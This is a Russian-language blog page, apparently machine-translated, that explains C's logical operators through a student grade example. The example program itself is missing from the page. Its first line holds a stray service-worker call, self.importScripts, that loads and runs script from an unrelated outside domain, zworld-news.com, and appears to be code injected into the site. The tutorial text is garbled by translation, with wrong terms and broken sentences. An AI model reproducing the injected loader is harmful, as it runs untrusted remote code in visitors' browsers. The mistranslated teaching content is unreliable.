google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Логические операторы в C

Вложенный оператор if-else помогает создавать несколько вариантов внутри программы. Но есть и некоторые недостатки их использования, которые приведены ниже.
  • Отступы наиболее важны при использовании вложенных операторов if-else. Но если мы добавим 2 слоя вложенности внутри блока if-else. Тогда вы заметите, что ваша программа движется вправо. И это будет трудно читать эту программу.
  • Скобки используются, чтобы показать объем утверждений. Есть вероятность, что вы можете совершить ошибку при написании этих скобок. Одна единственная ошибка заполнит вашу программу множеством ошибок.
  • Так как существует несколько операторов if-else, вы также должны позаботиться о соответствии правильного блока else с оператором if.
Так что это серьезные проблемы при написании вложенных операторов if-else. Но ждать! Не обязательно использовать вложенные операторы if-else каждый раз. Мы можем выполнить ту же задачу, используя логические операторы.

Что такое логические операторы?

В основном C использует три логических оператора: AND (&&), OR (||) и NOT (!). Надеюсь, вы узнали о булевой алгебре. Эти три оператора также используются в этом.
Помните, что при написании операторов AND и OR, он должен быть написан двумя символами, которые && для AND и || для ИЛИ. Отдельный символ имеет совершенно другое значение в программировании на Си.
Итак, теперь давайте возьмем один пример, чтобы понять использование логических операторов.
Вопрос: Составьте программу для распечатки деления ученика. Принимать оценки от пользователя. Рассчитайте процент и рассчитайте их деление.

Выход

Логические операторы в C - вывод

объяснение

  • На начальных этапах его просят ввести оценки учеников. После этого я рассчитал процент студентов на основе оценок. Теперь я должен проверить разделение студента.
  • Теперь в первом операторе if я дал условие if (perc> = 60), он проверит, больше ли процентное значение, чем 60, а затем напечатает сообщение «У вас есть первое деление».
  • Теперь в следующем операторе if я написал условие if ((perc> = 50) && (perc <60)). Таким образом, в основном есть два условия внутри, и они объединяются через логические операторы. Помните операторы под этим, если блок будет выполняться только тогда, когда оба условия выполняются, потому что они объединены с оператором AND.
  • Аналогичная структура принята и в следующем операторе if.
  • В последнем операторе if процент проверяется, не меньше ли он 40. Если он оказывается верным. Затем будет отображено сообщение «Извините, вы не справились».

Комментариев нет:

Отправить комментарий